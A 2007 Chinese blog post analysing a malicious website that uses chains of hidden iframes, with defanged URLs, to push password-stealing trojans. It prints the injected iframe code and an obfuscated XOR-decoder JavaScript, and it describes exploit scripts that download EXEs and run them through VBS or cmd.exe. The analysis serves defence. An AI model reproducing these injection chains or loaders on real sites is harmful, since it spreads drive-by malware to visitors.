一个据说可以让瑞星ravmond.exe崩溃的网站

一个据说可以让瑞星ravmond.exe崩溃的网站

endurer 原创
2007-08-16 第1版

一位呢称为 raulronaldo 说 有一个网站，多刷新两次，然后设置瑞星不显示病毒提示对话框，
瑞星会报ravmond错误的。

检查发现该网站包含代码：
/---
＜iframe src=hxxp://www.i**qy**l.com width=0 height=0＞＜/iframe＞
＜iframe src=hxxp://www.8*5*173*3.cn/htm*/goldip.htm?027 width=0 height=0＞＜/iframe＞
---/

hxxp://www.i**qy**l.com 包含代码：
/---
＜iframe src="hxxp://www.8*68***88*68.com/s5.htm" width="0" height="0" frameborder="0"＞＜/iframe＞
---/

hxxp://www.8*68***88*68.com/s5.htm 包含代码：
/---
＜BODY style='CURSOR: url(hxxp://www.8*68***88*68.com/ad.jpg)'＞＜/BODY＞
＜iframe width='0' height='0' src='hxxp://www.8*68***88*68.com/0614.htm'＞＜/iframe＞
＜iframe width='0' height='0' src='kill.htm'＞＜/iframe＞
---/

hxxp://www.8*68***88*68.com/ad.jpg 下载 hxxp://www.1**9*80**07.com/0.exe

文件说明符 : D:/test/0.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-8-16 9:34:37
修改时间 : 2007-8-16 13:6:54
访问时间 : 2007-8-16 13:50:37
大小 : 16944 字节 16.560 KB
MD5 : 4bc14481314f1c817983ec8a93298e41

Kaspersky 报为 Trojan-PSW.Win32.Delf.wh

hxxp://www.8*68***88*68.com/0614.htm 包含JavaScript和VBScript脚本代码，功能是使用自定义函数：
/---
function mymid（ss） ｛
return ss．substring（2）;｝
---/
对变量 S 解密 并 EXECUTE，目的是下载 0.exe，通过创建并执行 0.vbs 来运行　0.exe。

hxxp://www.8*68***88*68.com/kill.htm 未能打开。

hxxp://www.8*5*173*3.cn/htm*/goldip.htm?027 包含代码：
/---
＜body style="CURSOR: url(wm/xjz2007.bmp)"＞＜/body＞
＜iframe width='100' height='100' src='Webxl.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/wm1.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/wm2.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/vip.htm'＞＜/iframe＞
＜iframe width='100' height='100' src='wm/wm3.htm'＞＜/iframe＞
---/

wm/xjz2007.bmp 下载 down.exe

文件说明符 : D:/test/down.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-8-16 13:4:10
修改时间 : 2007-8-16 13:4:12
访问时间 : 2007-8-16 0:0:0
大小 : 18271 字节 17.863 KB
MD5 : 2c8e3c8bd15b8d50ede05e5bac6311bc

Kaspersky 报为Trojan.Win32.Agent.avt，瑞星报为 Worm.Win32.Agent.ipj

hxxp://www.8*5*173*3.cn/htm*/wm/Webxl.htm 未能打开。

hxxp://www.8*5*173*3.cn/htm*/wm/wm1.htm 包含JavaScript脚本代码，功能是使用自定义函数：
/---
function Hi（pk，Hua）｛
var uso＝Hua．length;
var fou＝"";
for（var i＝0;i＜pk．length;i＋＋）｛
fou＋＝String．fromCharCode（pk．charCodeAt（i）^Hua．charCodeAt（i％uso））;
｝
return（fou）;
｝
var STR ＝
｛
hexcase : 0， ／＊ hex output format． 0 － lowercase; 1 － uppercase ＊／
b64pad : ""， ／＊ base－64 pad character． "＝" for strict RFC compliance ＊／
chrsz : 8， ／＊ bits per input character． 8 － ASCII; 16 － Unicode ＊／

b64_hmac_md5:
function（he， data） ｛ return binl2b64（core_hmac_md5（he， data））; ｝，

b64_md5:
function（s）｛ return binl2b64（core_md5（Tian（s）， s．length ＊ this．chrsz））;｝，

binl2b64:
function（fan）｛
var tab ＝ "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789＋／";
var str ＝ "";
for（var i ＝ 0; i ＜ fan．length ＊ 4; i ＋＝ 3）
｛
var triplet ＝ （（（fan［i ＞＞ 2］ ＞＞ 8 ＊ （ i ％4）） ＆ 0xFF） ＜＜ 16）
｜ （（（fan［i＋1 ＞＞ 2］ ＞＞ 8 ＊ （（i＋1）％4）） ＆ 0xFF） ＜＜ 8 ）
｜ （（fan［i＋2 ＞＞ 2］ ＞＞ 8 ＊ （（i＋2）％4）） ＆ 0xFF）;
for（var j ＝ 0; j ＜ 4; j＋＋）
｛
if（i ＊ 8 ＋ j ＊ 6 ＞ fan．length ＊ 32） str ＋＝ this．b64pad;
else str ＋＝ tab．charAt（（triplet ＞＞ 6＊（3－j）） ＆ 0x3F）;
｝
｝
return str;
｝，

Jiu:
function（fan）｛
var hex_tab ＝ this．hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str ＝ "";
for（var i ＝ 0; i ＜ fan．length ＊ 4; i＋＋）
｛
str ＋＝ hex_tab．charAt（（fan［i＞＞2］ ＞＞ （（i％4）＊8＋4）） ＆ 0xF） ＋
hex_tab．charAt（（fan［i＞＞2］ ＞＞ （（i％4）＊8 ）） ＆ 0xF）;
｝
return str;
｝，

Chang:
function（yong）｛
var str ＝ "";
var heng ＝ （1 ＜＜ this．chrsz） － 1;
for（var i ＝ 0; i ＜ yong．length ＊ 32; i ＋＝ this．chrsz）
str ＋＝ String．fromCharCode（（yong［i＞＞5］ ＞＞＞ （i ％ 32）） ＆ heng）;
return str;
｝，

bit_rol:
function（num， cnt）｛return （num ＜＜ cnt） ｜ （num ＞＞＞ （32 － cnt））;｝，

core_hmac_md5:
function（he， data）｛
var she ＝ Tian（he）;
if（she．length ＞ 16） she ＝ core_md5（she， he．length ＊ this．chrsz）;

var ipad ＝ Array（16）， opad ＝ Array（16）;
for（var i ＝ 0; i ＜ 16; i＋＋）
｛
ipad［i］ ＝ she［i］ ^ 0x36363636;
opad［i］ ＝ she［i］ ^ 0x5C5C5C5C;
｝

var hash ＝ core_md5（ipad．concat（Tian（data））， 512 ＋ data．length ＊ this．chrsz）;
return core_md5（opad．concat（hash）， 512 ＋ 128）;
｝，

core_md5:
function（x， len）｛
／＊ append padding ＊／
x［len ＞＞ 5］ ｜＝ 0x80 ＜＜ （（len） ％ 32）;
x［（（（len ＋ 64） ＞＞＞ 9） ＜＜ 4） ＋ 14］ ＝ len;

var a ＝ 1732584193;
var b ＝ －271733879;
var c ＝ －1732584194;
var d ＝ 271733878;

for（var i ＝ 0; i ＜ x．length; i ＋＝ 16）
｛
var olda ＝ a;
var oldb ＝ b;
var oldc ＝ c;
var oldd ＝ d;

a ＝ this．md5_ff（a， b， c， d， x［i＋ 0］， 7 ， －680876936）;
d ＝ this．md5_ff(d， a， b， c， x［i＋ 1］， 12， －389564586);
c ＝ this．md5_ff(c， d， a， b， x［i＋ 2］， 17， 606105819);
b ＝ this．md5_ff(b， c， d， a， x［i＋ 3］， 22， －1044525330);
a ＝ this．md5_ff(a， b， c， d， x［i＋ 4］， 7 ， －176418897);
d ＝ this．md5_ff(d， a， b， c， x［i＋ 5］， 12， 1200080426);
c ＝ this．md5_ff(c， d， a， b， x［i＋ 6］， 17， －1473231341);
b ＝ this．md5_ff(b， c， d， a， x［i＋ 7］， 22， －45705983);
a ＝ this．md5_ff(a， b， c， d， x［i＋ 8］, 7 , 1770035416);
d ＝ this．md5_ff(d, a, b, c, x［i＋ 9］, 12, －1958414417);
c ＝ this．md5_ff(c, d, a, b, x［i＋10］, 17, －42063);
b ＝ this．md5_ff(b, c, d, a, x［i＋11］, 22, －1990404162);
a ＝ this．md5_ff(a, b, c, d, x［i＋12］, 7 , 1804603682);
d ＝ this．md5_ff(d, a, b, c, x［i＋13］, 12, －40341101);
c ＝ this．md5_ff(c, d, a, b, x［i＋14］, 17, －1502002290);
b ＝ this．md5_ff(b, c, d, a, x［i＋15］, 22, 1236535329);

a ＝ this．md5_gg(a, b, c, d, x［i＋ 1］, 5 , －165796510);
d ＝ this．md5_gg(d, a, b, c, x［i＋ 6］, 9 , －1069501632);
c ＝ this．md5_gg(c, d, a, b, x［i＋11］, 14, 643717713);
b ＝ this．md5_gg(b, c, d, a, x［i＋ 0］, 20, －373897302);
a ＝ this．md5_gg(a, b, c, d, x［i＋ 5］, 5 , －701558691);
d ＝ this．md5_gg(d, a, b, c, x［i＋10］, 9 , 38016083);
c ＝ this．md5_gg(c, d, a, b, x［i＋15］, 14, －660478335);
b ＝ this．md5_gg(b, c, d, a, x［i＋ 4］, 20, －405537848);
a ＝ this．md5_gg(a, b, c, d, x［i＋ 9］, 5 , 568446438);
d ＝ this．md5_gg(d, a, b, c, x［i＋14］, 9 , －1019803690);
c ＝ this．md5_gg(c, d, a, b, x［i＋ 3］, 14, －187363961);
b ＝ this．md5_gg(b, c, d, a, x［i＋ 8］, 20, 1163531501);
a ＝ this．md5_gg(a, b, c, d, x［i＋13］, 5 , －1444681467);
d ＝ this．md5_gg(d, a, b, c, x［i＋ 2］, 9 , －51403784);
c = this．md5_gg(c, d, a, b, x［i＋ 7］, 14, 1735328473);
b = this．md5_gg(b, c, d, a, x［i＋12］, 20, －1926607734);

a = this．md5_hh(a, b, c, d, x［i＋ 5］, 4 , －378558);
d = this．md5_hh(d, a, b, c, x［i＋ 8］, 11, －2022574463);
c = this．md5_hh(c, d, a, b, x［i＋11］, 16, 1839030562);
b = this．md5_hh(b, c, d, a, x［i＋14］, 23, －35309556);
a = this．md5_hh(a, b, c, d, x［i＋ 1］, 4 , －1530992060);
d = this．md5_hh(d, a, b, c, x［i＋ 4］, 11, 1272893353);
c = this．md5_hh(c, d, a, b, x［i＋ 7］, 16, －155497632);
b = this．md5_hh(b, c, d, a, x［i＋10］, 23, －1094730640);
a = this．md5_hh(a, b, c, d, x［i＋13］, 4 , 681279174);
d = this．md5_hh(d, a, b, c, x［i＋ 0］, 11, －358537222);
c = this．md5_hh(c, d, a, b, x［i＋ 3］, 16, －722521979);
b = this.md5_hh(b, c, d, a, x［i＋ 6］, 23, 76029189);
a = this.md5_hh(a, b, c, d, x［i＋ 9］, 4 , －640364487);
d = this.md5_hh(d, a, b, c, x［i+12］, 11, －421815835);
c = this.md5_hh(c, d, a, b, x［i+15］, 16, 530742520);
b = this.md5_hh(b, c, d, a, x［i+ 2］, 23, －995338651);

a = this.md5_ii(a, b, c, d, x［i+ 0］, 6 , －198630844);
d = this.md5_ii(d, a, b, c, x［i+ 7］, 10, 1126891415);
c = this.md5_ii(c, d, a, b, x［i+14］, 15, －1416354905);
b = this.md5_ii(b, c, d, a, x［i+ 5］, 21, －57434055);
a = this.md5_ii(a, b, c, d, x［i+12］, 6 , 1700485571);
d = this.md5_ii(d, a, b, c, x［i+ 3］, 10, －1894986606);
c = this.md5_ii(c, d, a, b, x［i+10］, 15, －1051523);
b = this.md5_ii(b, c, d, a, x［i+ 1］, 21, －2054922799);
a = this.md5_ii(a, b, c, d, x［i+ 8］, 6 , 1873313359);
d = this.md5_ii(d, a, b, c, x［i+15］, 10, －30611744);
c = this.md5_ii(c, d, a, b, x［i+ 6］, 15, －1560198380);
b = this.md5_ii(b, c, d, a, x［i+13］, 21, 1309151649);
a = this.md5_ii(a, b, c, d, x［i+ 4］, 6 , －145523070);
d = this.md5_ii(d, a, b, c, x[i+11], 10, －1120210379);
c = this.md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = this.md5_ii(b, c, d, a, x[i+ 9], 21, －343485551);

a = this.safe_add(a, olda);
b = this.safe_add(b, oldb);
c = this.safe_add(c, oldc);
d = this.safe_add(d, oldd);
｝
return Array(a, b, c, d);
｝,

hex_hmac_md5:function(he, data)｛ return this.Jiu(this.core_hmac_md5(he, data)); ｝,

hex_md5:function(s)｛return this.Jiu(this.core_md5(this.Tian(s), s.length ＊ this.chrsz));｝,

md5:function(s)｛return(this.hex_md5(s));｝,

md5_cmn:function(q, a, b, x, s, t)｛return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(a, q), this.safe_add(x, t)), s),b);｝,

md5_ff:function(a, b, c, d, x, s, t)｛return this.md5_cmn((b ＆ c) ｜ ((～b) ＆ d), a, b, x, s, t);｝,

md5_gg:function(a, b, c, d, x, s, t)｛return this.md5_cmn((b ＆ d) ｜ (c ＆ (～d)), a, b, x, s, t);｝,

md5_hh:function(a, b, c, d, x, s, t)｛return this.md5_cmn(b ^ c ^ d, a, b, x, s, t);｝,

md5_ii:function(a, b, c, d, x, s, t)｛return this.md5_cmn(c ^ (b ｜ (～d)), a, b, x, s, t);｝,

md5_vm_test:function()｛return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";｝,

safe_add:
function(x, y)｛
var ai = (x ＆ 0xFFFF) + (y ＆ 0xFFFF);
var qing = (x ＞＞ 16) + (y ＞＞ 16) + (ai ＞＞ 16);
return (qing ＜＜ 16) ｜ (ai ＆ 0xFFFF);
｝,

Tian:
function(str)｛
var yong = Array();
var heng = (1 ＜＜ this.chrsz) － 1;
for(var i = 0; i ＜ str.length ＊ this.chrsz; i += this.chrsz)
yong[i＞＞5] ｜= (str.charCodeAt(i ／ this.chrsz) ＆ heng) ＜＜ (i％32);
return yong;
｝,

str_hmac_md5:function(he, data)｛ return Chang(core_hmac_md5(he, data)); ｝,

str_md5:function(s)｛ return Chang(core_md5(Tian(s), s.length ＊ this.chrsz));｝
｝
---/
解密并输出变量 loveVip 的值。

loveVip 的值解密后为脚本代码，功能是执行Exploit()，利用漏洞下载 hxxp://www.8*5*173*3.cn/htm*/vip.exe，保存为microsofts.exe，通过创建并执行 microsofts.vbs 来运行 microsofts.exe。

vip.exe 与 down.exe 相同。

hxxp://www.8*5*173*3.cn/htm*/wm/wm2.htm 包含代码：
/---
＜script src=000614.js＞＜/script＞
---/

000614.js 内容为利用eval()执行自定义函数。

经过2次解密后得到的源代码功能为 下载 down.exe，保存为 sys332.exe，再利用 cmd.exe /c 来运行。

hxxp://www.8*5*173*3.cn/htm*/wm/top.htm 未能打开

hxxp://www.8*5*173*3.cn/htm*/wm/wm3.htm 功能是打开about:blank，检测cookie变量woshi07004，不存在则创建并执行漏洞溢出代码。

hxxp://www.8*5*173*3.cn/htm*/wm/vip.htm 与 hxxp://www.8*5*173*3.cn/htm*/wm/wm1.htm 相似。